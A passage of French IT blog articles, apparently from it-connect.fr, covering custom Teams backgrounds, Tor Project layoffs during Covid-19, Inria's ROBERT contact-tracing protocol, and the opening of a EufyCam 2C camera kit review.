<h2>II. Teams : la gestion de l'arrière-plan</h2>
<p>Au moment de rejoindre une réunion dans Teams, vous avez la possibilité d'activer/désactiver la caméra et le micro, mais aussi d'activer le flou de l'arrière-plan (voir ci-dessous).</p>
<p>Lorsque vous activez cette option, avant de rejoindre la réunion ou même pendant, vous pouvez maintenant choisir une image grâce à un panneau d'images qui s'ouvre sur la droite.</p>
<p><img class="aligncenter size-full wp-image-35064" src="media/3faf0b6f.teams-gestion-fond-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-01.jpg" alt="" width="800" height="483" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-01.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-01-550x332.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-01-150x91.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-01-768x464.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-01-160x97.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-01-50x30.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Comme je le disais, l'image peut-être modifiée également en cours de réunion. Il suffit d'appuyer sur le bouton "..." pour ouvrir le menu et de cliquer sur "<strong>Afficher les effets d'arrière-plan</strong>".</p>
<p>Sur la droite, le panneau "<strong>Paramètres d'arrière-plan</strong>" va s'ouvrir : choisissez une image et validez, enfin vous pouvez prévisualiser le rendu si vous voulez avant de valider.</p>
<p><img class="aligncenter size-full wp-image-35063" src="media/6bebd84f.teams-gestion-fond-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-02.jpg" alt="" width="800" height="569" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-02.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-02-550x391.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-02-150x107.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-02-768x546.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-02-160x114.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-02-50x36.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Pour utiliser une image personnalisée : la procédure est identique, il faut seulement ajouter la photo à la bibliothèque des images Teams 😉</p>
<h2>III. Teams : utiliser un arrière-plan personnalisé</h2>
<p>Sur Windows, vous devez déposer vos images personnalisées dans ce dossier :</p>
<pre>%AppData%\Microsoft\Teams\Backgrounds\Uploads</pre>
<p><strong>L'idéal est d'utiliser des images avec une résolution de 1920 x 1080 px</strong> pour que la résolution soit bonne. Attention également au poids de l'image : pas plus de 1 Mo, de préférence. <strong>Les images sont propres à chaque profil utilisateur.</strong></p>
<p><img class="aligncenter size-full wp-image-35065" src="media/5abf614a.teams-gestion-fond-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-03.jpg" alt="" width="600" height="124" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-03.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-03-550x114.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-03-150x31.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-03-160x33.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-03-50x10.jpg 50w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>Si vous êtes sur MacOS, alors le chemin est le suivant :</p>
<pre> /users/&lt;utilisateur&gt;/Library/Application Support/Microsoft/Teams/Backgrounds/Uploads</pre>
<p>Il ne reste plus qu'à retourner dans Teams, et votre image doit apparaître dans la liste des images d'arrière-plan, à la suite de celles de Microsoft.</p>
<p><img class="aligncenter size-full wp-image-35066" src="media/e68b5d8b.teams-gestion-fond-04.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-04.jpg" alt="" width="600" height="261" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-04.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-04-550x239.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-04-150x65.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-04-160x70.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-gestion-fond-04-50x22.jpg 50w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p><strong>En tout cas cette solution peut être intéressante pour déployer un fond corporate au niveau de votre entreprise.</strong></p>
<p><strong>Remarque</strong> : si vous utilisez une application tierce pour gérer l'image de la caméra, comme <strong><a href="https://www.it-connect.fr/fun-comment-utiliser-les-filtres-snapchat-avec-teams/" target="_blank" rel="noopener noreferrer">Snap Camera pour avoir les filtres Snapchat sur Teams</a>, alors la personnalisation de l'arrière-plan ne fonctionnera pas</strong> (ainsi que le flou). Microsoft laisse la priorité à cette application pour gérer l'image. À l'heure où j'écris ces lignes, il n'existe pas de paramètres dans le panneau d'administration Teams au niveau du tenant pour jouer sur ce comportement.</p>


feed_id: https://www.it-connect.fr/?p=35077
title: Covid-19 / Projet Tor : un tiers des salariés licenciés :-(
uri: Covid-19-Projet-Tor-un-tiers-des-salariés-licenciés-(
url: https://www.it-connect.fr/covid-19-projet-tor-un-tiers-des-salaries-licencies/
content:
<p><strong>La crise économique liée au Covid-19 a fait une nouvelle victime : le projet Tor. En effet, l'organisation qui se cache derrière ce très célèbre navigateur a dû licencier 13 personnes. Ce qui représente un tiers des effectifs.</strong></p>
<p>Les adeptes de la confidentialité (mais pas que) doivent rester calme : bien que la crise ait durement touchée le projet Tor, la directrice exécutive Isabela Bagueros précise : « <em>Nous allons aller de l'avant avec une équipe de base de 22 personnes</em> ». Elle ajoute également qu'avec cette équipé réduite, ils sont toujours en mesure de faire tourner l'infrastructure serveur et logicielle nécessaire au bon fonctionnement de Tor.</p>
<p>Cette situation difficile vécue par Tor et celle vécue par beaucoup d'autres organisations à but non lucratif et de petites entreprises. Isabela Bagueros parle du licenciement de « <em>13 grandes personnes qui ont contribué à rendre Tor disponible à des millions de personnes dans le monde</em> ».</p>
<p><strong>L'organisation derrière le projet Tor survie seulement grâce aux dons.</strong> Chaque fin d'année, une campagne de dons est lancée afin de renforcer ses finances pour l'année qui suit. Force est de constater qu'aujourd'hui les donateurs se concentrent d'avantage sur leurs besoins personnels et leur propre survie. Cette crise sanitaire et économique s'annonce longue alors espérons que Tor et les autres entités en difficultés parviennent à s'en sortir.</p>
<p>Le <a title="Vie privée : faut-il préférer Tor ou le VPN ?" href="https://www.it-connect.fr/vie-privee-faut-il-preferer-tor-ou-le-vpn/" target="_blank" rel="noopener noreferrer">projet Tor</a> vise à renforcer votre vie privée sur Internet grâce à l'utilisation de relais lorsque vous naviguez via le navigateur Tor. Le réseau Tor vous protège contre l'analyse de trafic dans le but de protéger votre identité.</p>
<p><a href="https://blog.torproject.org/covid19-impact-tor" target="_blank" rel="noopener noreferrer">Voir l'annonce officielle</a></p>


feed_id: https://www.it-connect.fr/?p=35088
title: Protocole ROBERT : la proposition de l’Inria pour le Contact Tracing
uri: Protocole-ROBERT-la-proposition-de-l-Inria-pour-le-Contact-Tracing
url: https://www.it-connect.fr/protocole-robert-la-proposition-de-linria-pour-le-contact-tracing/
content:
<p><strong>Afin de mieux surveiller l'évolution de la pandémie du Covid-19, plusieurs entités sont sur le pont afin d'imaginer et de développer une application de Contact Tracing. L'Inria travaille sur ce dossier dans le cadre du projet PEPP-PT et proposer son protocole ROBERT.</strong></p>
<p>L'Inria (<em>Institut de Recherche en Informatique et en Automatique</em>) a dévoilé une première version de son protocole de suivi des contacts : ROBERT pour « <em>ROBust and privacy presERving proximity Tracing</em> ». L'objectif est de proposer un protocole dédié à cet usage que les développeurs d'application pourraient implémenter dans leurs applications directement, avec un protocole respectueux de vos données personnelles. La CNIL veillera d'ailleurs à ce que ces applications respectent le RGPD.</p>
<p>A l'origine du protocole, ce sont les chercheurs de l'équipe PRIVATICS et sans surprise ils ont choisi <strong>une architecture basée sur la technologie Bluetooth.</strong> Pour éviter de divulguer des informations personnelles, <strong>le protocole se base sur l'utilisation de pseudonymes correspondants à des « <em>Crypto-identifiants</em> ».</strong> En aucun cas ce protocole repose sur la géolocalisation, mais seulement sur la détection via Bluetooth.</p>
<p><img class="aligncenter size-full wp-image-35089" src="media/9c194a1f.protocole-robert.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/protocole-robert.jpg" alt="" width="500" height="641" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/protocole-robert.jpg 500w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/protocole-robert-117x150.jpg 117w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/protocole-robert-125x160.jpg 125w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/protocole-robert-39x50.jpg 39w" sizes="(max-width: 500px) 100vw, 500px" /></p>
<p>Le directeur de l'Inria précise sur le Github du projet qu'il n'est pas question de permettre une quelconque surveillance des Français avec ce protocole et l'intégration dans des applications : « <em>sa conception permet que PERSONNE, pas même l’Etat, n’ait accès à la liste des personnes diagnostiquées positives ou à la liste des interactions sociales entre les personnes.</em> »</p>
<p><strong>Lorsque l'on installe une application intégrant ROBERT, à la première connexion avec le serveur, l'appareil de la personne récupère son pseudonyme.</strong> Ensuite, lorsque l'on croise d'autres personnes, les pseudonymes sont automatiquement échangés. L'historique des personnes croisées est synchronisé sur le serveur central afin de comparer si leur pseudonyme se trouve dans la liste des personnes infectées. Si c'est le cas, vous êtes prévenu. Cela nécessite que l'utilisateur indique dans l'application qu'il est infecté : quelles sont les conditions permettant à quelqu'un de se déclarer infecté ? Ce n'est pas le protocole ROBERT qui répondra à cette question, ce n'est pas son rôle.</p>
<p>Retrouvez l'infographie sur le <a href="media/48c2f3f8.ROBERT-infography-FR.pdf" data-original-source="https://github.com/ROBERT-proximity-tracing/documents/blob/master/ROBERT-infography-FR.pdf" target="_blank" rel="nofollow noopener noreferrer">protocole ROBERT directement sur Github</a></p>


feed_id: https://www.it-connect.fr/?p=34873
title: Test du kit EufyCam 2C : 100% sans-fil avec 6 mois d’autonomie, mais encore ?
uri: Test-du-kit-EufyCam-2C-100-sans-fil-avec-6-mois-d-autonomie-mais
url: https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/
content:
<h2>I. Présentation</h2>
<p>Anker au travers de sa marque Eufy propose des produits pour rendre votre maison intelligente, avec notamment une catégorie "<em>Sécurité</em>" composée de différents modèles de caméras. À son catalogue, Eufy nous propose le kit "EufyCam 2C" composé d'un Hub Eufy et de deux caméras EufyCam 2C. <strong>Dans cet article, je vous propose le test du kit EufyCam 2C.</strong></p>
<p><strong>La caméra EufyCam 2C est un modèle 100% sans-fil grâce à sa connexion Wi-Fi et sa batterie intégrée qui promet une autonomie jusqu'à 6 mois. Compacte et légère, cette caméra ne pèse que 635 grammes. Ce modèle peut s'installer aussi bien en intérieur qu'en extérieur.</strong></p>
<p>Concernant les principales caractéristiques et fonctionnalités de ce kit, nous pouvons lister :</p>
<ul>
<li>Résolution 1080p (full HD)</li>
<li>Zones de détection : grand-angle de 135°</li>
<li>Autonomie de 180 jours</li>
<li>Certifiée IP67</li>
<li>Sirène anti-intrusion interne à la caméra</li>
<li>Système audio bidirectionnel</li>
<li>Vision nocturne en couleurs (selon le mode sélectionné)</li>
<li>Détection des humains</li>
<li>Amélioration intelligente de l'image</li>
<li>Gestion des zones de détection</li>
<li>Accès multi-utilisateurs</li>
<li>Visualisation du live et de l'historique des enregistrements</li>
<li>Compatible avec les assistants vocaux Amazon Alexa et Google Assistant</li>
<li>Compatible Apple HomeKit et Apple HomeKit Secure Video</li>
<li>Sécurité des données de qualité militaire avec chiffrement AES-128 et AES-256</li>
<li>Dimensions (Largeur x Hauteur x Profondeur) : 4,8 x 8 x 5,5 cm</li>
</ul>
<p>En complément, pour la HomeBase 2, on peut préciser :</p>
<ul>
<li>Sirène anti-intrusion de 100 dB</li>
<li>Mode répéteur Wi-Fi pour étendre la portée de votre réseau domestique</li>
<li>16 Go eMMC (non extensible)</li>
<li>Jusqu'à 3 mois de stockage des enregistrements</li>
<li>Dimensions (Largeur x Hauteur x Profondeur) : 8 x 13 x 8 cm</li>
</ul>
<h2>II. Contenu de la boîte</h2>
<p>Le package est de très bonne qualité et contient de nombreuses informations sur les caméras, sur les quatre côtés, notamment les fonctionnalités principales. Les informations sont inscrites en plusieurs langues, dont le français. À l'intérieur, tout est parfaitement rangé et calé parfaitement. Rien à dire là-dessus, tout cela aspire confiance ! 🙂</p>

<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufycam-2c-package-01/'><img width="550" height="413" src="media/0ebe3bb7.EUFYCAM-2C-Package-01-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Package-01-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Package-01-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Package-01-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Package-01-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Package-01-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Package-01-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Package-01.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufycam-2c-package-02/'><img width="550" height="413" src="media/faba7d44.EUFYCAM-2C-Package-02-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Package-02-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Package-02-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Package-02-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Package-02-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Package-02-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Package-02-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Package-02.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufycam-2c-package-03/'><img width="550" height="413" src="media/b1d32fc2.EUFYCAM-2C-Package-03-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Package-03-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Package-03-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Package-03-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Package-03-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Package-03-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Package-03-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Package-03.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>

<p>Le contenu est très riche, il suffit de regarder les photos ci-dessous pour comprendre qu'il y a de nombreux éléments. Nous retrouvons :</p>
<ul>
<li>Deux caméras EufyCam 2C</li>
<li>La station HomeBase 2 d'Eufy et son alimentation</li>
<li>Un câble microUSB pour recharger les caméras</li>
<li>Un câble RJ45 Ethernet</li>
<li>Une notice d'utilisation, avec le français</li>
<li>Les socles et la visserie nécessaire pour fixer les caméras sur un mur</li>
<li>Un sticker que l'on pourra utiliser pour indiquer que le domicile est protégé par Eufy Security</li>
</ul>
<p><strong>Ce package est complet et à première vue, il ne manque rien !</strong> Eufy a également pensé à inclure des stickers en forme de rond qui peuvent servir de repère lorsque vous allez réaliser les trous pour fixer les socles des caméras. Personnellement, je ne suis pas fan du câble réseau plat, certes c'est design, mais au niveau qualité du blindage, c'est moins bien.</p>

<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufycam-2c-contenu-01/'><img width="550" height="413" src="media/8525143f.EUFYCAM-2C-Contenu-01-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Contenu-01-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Contenu-01-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Contenu-01-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Contenu-01-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Contenu-01-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Contenu-01-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Contenu-01.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufycam-2c-contenu-02/'><img width="550" height="413" src="media/b1ed7c70.EUFYCAM-2C-Contenu-02-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Contenu-02-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Contenu-02-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Contenu-02-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Contenu-02-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Contenu-02-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Contenu-02-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Contenu-02.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufycam-2c-contenu-03/'><img width="550" height="413" src="media/9974fd8b.EUFYCAM-2C-Contenu-03-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Contenu-03-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Contenu-03-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Contenu-03-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Contenu-03-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Contenu-03-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Contenu-03-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Contenu-03.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>

<p>Maintenant que l'on a vu le contenu du package, intéressons-nous de plus près au design de la caméra et de la base Eufy.</p>
<h2>III. Design EufyCam 2C et HomeBase 2</h2>
<p>Les caméras et la base sont principales vêtues de blanc, bien qu'une touche de noir vient s'inviter sur la face avant des caméras. En général, blanc et noir, ce sont les couleurs classiques des caméras. C'est neutre, moderne et ça passe partout. Nous retrouvons la mention "Eufy Security" sur l'avant de la base et sur le côté de chaque caméra.</p>
<p><img class="aligncenter size-full wp-image-34886" src="media/743746aa.EUFYCAM-2C-Design-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-03.jpg" alt="" width="800" height="526" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-03.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-03-550x362.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-03-150x99.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-03-768x505.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-03-160x105.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-03-50x33.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>À l'arrière de chaque caméra se situe le trou pour venir visser le socle mural sur la caméra. À l'inverse, sur l'avant de chaque caméra nous avons différents capteurs :<strong> l'objectif de la caméra, le capteur de luminosité, le microphone, le projecteur (représenté par une bande blanche sur la façade), le détecteur de mouvement situé sous le projecteur, et une LED d'état. </strong>La surface avant de la caméra me semble très sensible aux marques et aux microrayures, il faut dire que c'est noir brillant donc ce n'est pas surprenant.</p>
<p>Sur le dessus se situe <strong>le bouton de synchronisation</strong> de la caméra qui sera utile lors de la phase d'initialisation. Sur le dessous se cache l<strong>e port microUSB pour la recharge ainsi que le haut-parleur</strong> de la caméra.</p>
<p>Concernant la HomeBase, sur l'avant nous retrouvons <strong>une LED d'état</strong> sous la mention "Eufy Security" et l'arrière nous retrouvons : le port pour l'alimentation, le port USB pour connecter une caméra afin de la recharger, l'interface RJ45 pour la connectivité filaire de la base, le bouton pour désactiver l'alarme et le reset. En dessous, la base dispose de quatre pieds antidérapants. En termes de taille, elle n'est pas très grosse, je m'attendais à plus grand donc tant mieux.</p>

<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufycam-2c-design-01/'><img width="550" height="353" src="media/258c7bb9.EUFYCAM-2C-Design-01-550x353.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-01-550x353.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-01-550x353.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-01-150x96.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-01-768x493.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-01-160x103.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-01-50x32.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-01.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufycam-2c-design-02/'><img width="550" height="413" src="media/5c3b55f0.EUFYCAM-2C-Design-02-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-02-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-02-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-02-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-02-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-02-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-02-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-02.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufycam-2c-design-04/'><img width="550" height="413" src="media/2e9bd6b3.EUFYCAM-2C-Design-04-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-04-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-04-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-04-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-04-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-04-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-04-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-04.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufycam-2c-design-05/'><img width="550" height="413" src="media/bda6eaef.EUFYCAM-2C-Design-05-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-05-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-05-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-05-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-05-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-05-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-05-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-05.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>

<p>La caméra EufyCam 2C est légère et compacte comme je le disais en introduction, ce qui lui permet de tenir très facilement dans la main et d'être discrète. C'est un critère important pour qu'elle puisse être dissimulée au maximum.</p>

<a href='https://www.it-connect.fr/test-du-kit-eufycam-2c-100-sans-fil-avec-6-mois-dautonomie-mais-encore/eufycam-2c-design-06/'><img width="550" height="413" src="media/b30a85d8.EUFYCAM-2C-Design-06-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-06-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-06-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-06-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-06-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-06-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-06-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/EUFYCAM-2C-Design-06.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
